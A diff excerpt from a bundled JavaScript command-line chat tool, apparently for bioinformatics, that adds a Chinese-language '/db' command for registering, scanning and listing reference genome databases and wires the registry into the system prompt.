17167
|
+
// ── /db — database manager ────────────────────────────────────────────────
|
|
17168
|
+
case "db": {
|
|
17169
|
+
const [dbSub, ...dbRest] = (arg ?? "").split(/\s+/).filter(Boolean);
|
|
17170
|
+
const dbArg = dbRest.join(" ");
|
|
17171
|
+
switch (dbSub?.toLowerCase()) {
|
|
17172
|
+
case "list":
|
|
17173
|
+
case void 0:
|
|
17174
|
+
case "": {
|
|
17175
|
+
const entries = Object.values(dbRegistry.databases);
|
|
17176
|
+
if (entries.length === 0) {
|
|
17177
|
+
console.log(source_default.dim(" \u6682\u65E0\u5DF2\u6CE8\u518C\u6570\u636E\u5E93\u3002\u4F7F\u7528 /db scan \u81EA\u52A8\u626B\u63CF\uFF0C\u6216 /db add <\u8DEF\u5F84> \u624B\u52A8\u6DFB\u52A0"));
|
|
17178
|
+
break;
|
|
17179
|
+
}
|
|
17180
|
+
console.log(source_default.bold(`
|
|
17181
|
+
\u5DF2\u6CE8\u518C\u6570\u636E\u5E93 (${entries.length} \u4E2A):
|
|
17182
|
+
`));
|
|
17183
|
+
const byGenome = {};
|
|
17184
|
+
for (const e2 of entries) (byGenome[e2.genome] ??= []).push(e2);
|
|
17185
|
+
for (const [genome, dbs] of Object.entries(byGenome).sort()) {
|
|
17186
|
+
console.log(source_default.cyan(` \u2500\u2500 ${genome} \u2500\u2500`));
|
|
17187
|
+
for (const db of dbs) {
|
|
17188
|
+
const ok = (0, import_fs6.existsSync)(db.path);
|
|
17189
|
+
const icon = ok ? source_default.green("\u2713") : source_default.red("\u2717");
|
|
17190
|
+
const size = db.sizeBytes ? source_default.dim(` [${(db.sizeBytes / 1e9).toFixed(1)}GB]`) : "";
|
|
17191
|
+
console.log(` ${icon} ${source_default.bold(db.label)}${size}`);
|
|
17192
|
+
console.log(` ${source_default.dim("id:")} ${db.id} ${source_default.dim("type:")} ${db.type}`);
|
|
17193
|
+
console.log(` ${source_default.dim(db.path)}`);
|
|
17194
|
+
}
|
|
17195
|
+
console.log();
|
|
17196
|
+
}
|
|
17197
|
+
break;
|
|
17198
|
+
}
|
|
17199
|
+
case "add": {
|
|
17200
|
+
if (!dbArg) {
|
|
17201
|
+
console.log("\u7528\u6CD5: /db add <\u8DEF\u5F84> [\u57FA\u56E0\u7EC4] [\u7C7B\u578B] [\u8BF4\u660E]");
|
|
17202
|
+
console.log(source_default.dim("\u793A\u4F8B: /db add /data/ref/hg38.fa hg38 fasta"));
|
|
17203
|
+
console.log(source_default.dim(" /db add /data/index/hg38_star hg38 star_index STAR\u6BD4\u5BF9\u7D22\u5F15"));
|
|
17204
|
+
break;
|
|
17205
|
+
}
|
|
17206
|
+
const parts = dbArg.trim().split(/\s+/);
|
|
17207
|
+
const dbPath = (0, import_path6.resolve)(parts[0]);
|
|
17208
|
+
if (!(0, import_fs6.existsSync)(dbPath)) {
|
|
17209
|
+
console.log(source_default.yellow(`\u26A0 \u8DEF\u5F84\u4E0D\u5B58\u5728: ${dbPath}\uFF08\u4ECD\u4F1A\u8BB0\u5F55\uFF0C\u8DEF\u5F84\u53EF\u7A0D\u540E\u521B\u5EFA\uFF09`));
|
|
17210
|
+
}
|
|
17211
|
+
const genome = parts[1] ?? "other";
|
|
17212
|
+
const type = parts[2] ?? "other";
|
|
17213
|
+
const label = parts.slice(3).join(" ") || `${type} (${genome})`;
|
|
17214
|
+
const entry = addDbEntry(dbRegistry, { label, type, genome, path: dbPath, source: "manual" });
|
|
17215
|
+
saveDbRegistry(dbRegistry);
|
|
17216
|
+
systemPrompt = buildSystemPrompt(buildDbPromptSection(dbRegistry));
|
|
17217
|
+
console.log(source_default.green(`\u2713 \u5DF2\u6DFB\u52A0\u6570\u636E\u5E93: ${entry.label}`));
|
|
17218
|
+
console.log(` id: ${source_default.cyan(entry.id)}`);
|
|
17219
|
+
console.log(` \u8DEF\u5F84: ${source_default.dim(entry.path)}`);
|
|
17220
|
+
break;
|
|
17221
|
+
}
|
|
17222
|
+
case "rm":
|
|
17223
|
+
case "remove":
|
|
17224
|
+
case "del": {
|
|
17225
|
+
if (!dbArg) {
|
|
17226
|
+
console.log("\u7528\u6CD5: /db rm <id>");
|
|
17227
|
+
break;
|
|
17228
|
+
}
|
|
17229
|
+
const removed = removeDbEntry(dbRegistry, dbArg.trim());
|
|
17230
|
+
if (removed) {
|
|
17231
|
+
saveDbRegistry(dbRegistry);
|
|
17232
|
+
systemPrompt = buildSystemPrompt(buildDbPromptSection(dbRegistry));
|
|
17233
|
+
console.log(source_default.green(`\u2713 \u5DF2\u79FB\u9664\u6570\u636E\u5E93: ${dbArg}`));
|
|
17234
|
+
} else {
|
|
17235
|
+
console.log(source_default.red(`\u672A\u627E\u5230\u6570\u636E\u5E93 id: ${dbArg}\uFF0C\u4F7F\u7528 /db list \u67E5\u770B\u5DF2\u6CE8\u518C\u5217\u8868`));
|
|
17236
|
+
}
|
|
17237
|
+
break;
|
|
17238
|
+
}
|
|
17239
|
+
case "scan": {
|
|
17240
|
+
const extraDirs = dbArg ? [dbArg] : [];
|
|
17241
|
+
process.stdout.write(source_default.dim("\n \u6B63\u5728\u626B\u63CF\u6587\u4EF6\u7CFB\u7EDF\u4E2D\u7684\u53C2\u8003\u6570\u636E\u5E93...\n"));
|
|
17242
|
+
const report = scanForDatabases(extraDirs);
|
|
17243
|
+
if (report.found.length === 0) {
|
|
17244
|
+
console.log(source_default.yellow(" \u672A\u627E\u5230\u4EFB\u4F55\u5DF2\u77E5\u6570\u636E\u5E93\u6587\u4EF6"));
|
|
17245
|
+
console.log(source_default.dim(" \u63D0\u793A: \u53EF\u6307\u5B9A\u76EE\u5F55 /db scan /your/data/dir"));
|
|
17246
|
+
break;
|
|
17247
|
+
}
|
|
17248
|
+
console.log(source_default.bold(`
|
|
17249
|
+
\u626B\u63CF\u53D1\u73B0 ${report.found.length} \u4E2A\u6570\u636E\u5E93\u6587\u4EF6:
|
|
17250
|
+
`));
|
|
17251
|
+
let addedCount = 0;
|
|
17252
|
+
for (const entry of report.found) {
|
|
17253
|
+
const exists = dbRegistry.databases[entry.id];
|
|
17254
|
+
if (exists) {
|
|
17255
|
+
console.log(source_default.dim(` [\u5DF2\u5B58\u5728] ${entry.label}`));
|
|
17256
|
+
continue;
|
|
17257
|
+
}
|
|
17258
|
+
dbRegistry.databases[entry.id] = entry;
|
|
17259
|
+
addedCount++;
|
|
17260
|
+
const size = entry.sizeBytes ? source_default.dim(` [${(entry.sizeBytes / 1e9).toFixed(1)}GB]`) : "";
|
|
17261
|
+
console.log(source_default.green(` [\u65B0\u589E] `) + `${entry.label}${size}`);
|
|
17262
|
+
console.log(source_default.dim(` ${entry.path}`));
|
|
17263
|
+
}
|
|
17264
|
+
if (addedCount > 0) {
|
|
17265
|
+
dbRegistry.lastScan = (/* @__PURE__ */ new Date()).toISOString();
|
|
17266
|
+
saveDbRegistry(dbRegistry);
|
|
17267
|
+
systemPrompt = buildSystemPrompt(buildDbPromptSection(dbRegistry));
|
|
17268
|
+
console.log(source_default.green(`
|
|
17269
|
+
\u2713 \u65B0\u589E ${addedCount} \u4E2A\u6570\u636E\u5E93\u5230\u6CE8\u518C\u8868`));
|
|
17270
|
+
} else {
|
|
17271
|
+
console.log(source_default.dim("\n \u65E0\u65B0\u589E\uFF08\u6240\u6709\u5DF2\u5728\u6CE8\u518C\u8868\u4E2D\uFF09"));
|
|
17272
|
+
}
|
|
17273
|
+
break;
|
|
17274
|
+
}
|
|
17275
|
+
case "download":
|
|
17276
|
+
case "dl": {
|
|
17277
|
+
const target = dbArg.trim() || "";
|
|
17278
|
+
if (!target) {
|
|
17279
|
+
console.log(source_default.bold("\n \u53EF\u4E0B\u8F7D\u7684\u6807\u51C6\u6570\u636E\u5E93:\n"));
|
|
17280
|
+
for (const [key, guide2] of Object.entries(DOWNLOAD_GUIDES)) {
|
|
17281
|
+
console.log(` ${source_default.cyan(key.padEnd(18))} ${guide2.label}`);
|
|
17282
|
+
}
|
|
17283
|
+
console.log(source_default.dim("\n \u7528\u6CD5: /db download hg38-fasta"));
|
|
17284
|
+
break;
|
|
17285
|
+
}
|
|
17286
|
+
const guide = DOWNLOAD_GUIDES[target];
|
|
17287
|
+
if (!guide) {
|
|
17288
|
+
console.log(source_default.red(`\u672A\u77E5\u6570\u636E\u5E93: ${target}`));
|
|
17289
|
+
console.log(source_default.dim("\u4F7F\u7528 /db download \u67E5\u770B\u53EF\u7528\u5217\u8868"));
|
|
17290
|
+
break;
|
|
17291
|
+
}
|
|
17292
|
+
console.log(source_default.bold(`
|
|
17293
|
+
\u4E0B\u8F7D\u6307\u5357: ${guide.label}
|
|
17294
|
+
`));
|
|
17295
|
+
guide.cmds.forEach((cmd2) => console.log(` ${source_default.cyan("$")} ${cmd2}`));
|
|
17296
|
+
console.log(source_default.dim("\n \u4E0B\u8F7D\u5B8C\u6210\u540E\u4F7F\u7528 /db add <\u8DEF\u5F84> \u6CE8\u518C"));
|
|
17297
|
+
break;
|
|
17298
|
+
}
|
|
17299
|
+
default:
|
|
17300
|
+
console.log(`\u7528\u6CD5: /db <list|add|rm|scan|download>`);
|
|
17301
|
+
console.log(source_default.dim(" /db list \u5217\u51FA\u5DF2\u6CE8\u518C\u6570\u636E\u5E93"));
|
|
17302
|
+
console.log(source_default.dim(" /db add <\u8DEF\u5F84> \u624B\u52A8\u6CE8\u518C"));
|
|
17303
|
+
console.log(source_default.dim(" /db rm <id> \u5220\u9664\u8BB0\u5F55"));
|
|
17304
|
+
console.log(source_default.dim(" /db scan [\u76EE\u5F55] \u81EA\u52A8\u626B\u63CF"));
|
|
17305
|
+
console.log(source_default.dim(" /db download [\u540D\u79F0] \u663E\u793A\u4E0B\u8F7D\u6307\u5357"));
|
|
17306
|
+
}
|
|
17307
|
+
break;
|
|
17308
|
+
}
|
|
16486
17309
|
case "compact": {
|
|
16487
17310
|
const tokens = estimateTokens2(history);
|
|
16488
17311
|
if (history.length < 4) {
|
|
@@ -16654,8 +17477,8 @@ ${summary}` },
|
|
|
16654
17477
|
console.log("\u7528\u6CD5: /cd <\u8DEF\u5F84>");
|
|
16655
17478
|
break;
|
|
16656
17479
|
}
|
|
16657
|
-
const target = (0,
|
|
16658
|
-
if (!(0,
|
|
17480
|
+
const target = (0, import_path6.resolve)(arg.replace(/^~/, (0, import_os4.homedir)()));
|
|
17481
|
+
if (!(0, import_fs6.existsSync)(target)) {
|
|
16659
17482
|
console.log(source_default.red(`\u8DEF\u5F84\u4E0D\u5B58\u5728: ${target}`));
|
|
16660
17483
|
break;
|
|
16661
17484
|
}
|
|
@@ -16724,7 +17547,8 @@ async function main() {
|
|
|
16724
17547
|
}
|
|
16725
17548
|
console.log(source_default.dim(" \u8F93\u5165\u95EE\u9898\u5F00\u59CB\u5BF9\u8BDD /help \u67E5\u770B\u547D\u4EE4 /cat \u6280\u80FD\u5206\u7C7B @\u6587\u4EF6\u8DEF\u5F84 \u5185\u5D4C\u6587\u4EF6"));
|
|
16726
17549
|
console.log();
|
|
16727
|
-
|
|
17550
|
+
let dbRegistry2 = loadDbRegistry();
|
|
17551
|
+
let systemPrompt2 = buildSystemPrompt(buildDbPromptSection(dbRegistry2));
|
|
16728
17552
|
let history = [];
|
|
16729
17553
|
let thinkMode = false;
|
|
16730
17554
|
const injectedSkills = /* @__PURE__ */ new Map();
|
|
@@ -16812,7 +17636,7 @@ ${expanded}` : expanded;
|
|
|
16812
17636
|
history.push({ role: "user", content: userContent });
|
|
16813
17637
|
try {
|
|
16814
17638
|
const currentCfg = loadConfig();
|
|
16815
|
-
const reply = await chat(history, currentCfg,
|
|
17639
|
+
const reply = await chat(history, currentCfg, systemPrompt2);
|
|
16816
17640
|
history.push({ role: "assistant", content: reply });
|
|
16817
17641
|
history = await maybeCompact(history, currentCfg);
|
|
16818
17642
|
autoSaveSession();
|
|
@@ -16837,8 +17661,8 @@ ${expanded}` : expanded;
|
|
|
16837
17661
|
}
|
|
16838
17662
|
}
|
|
16839
17663
|
function question(rl, prompt) {
|
|
16840
|
-
return new Promise((
|
|
16841
|
-
rl.question(prompt,
|
|
17664
|
+
return new Promise((resolve4, reject) => {
|
|
17665
|
+
rl.question(prompt, resolve4);
|
|
16842
17666
|
rl.once("close", () => reject(new Error("closed")));
|
|
16843
17667
|
});
|
|
16844
17668
|
}
|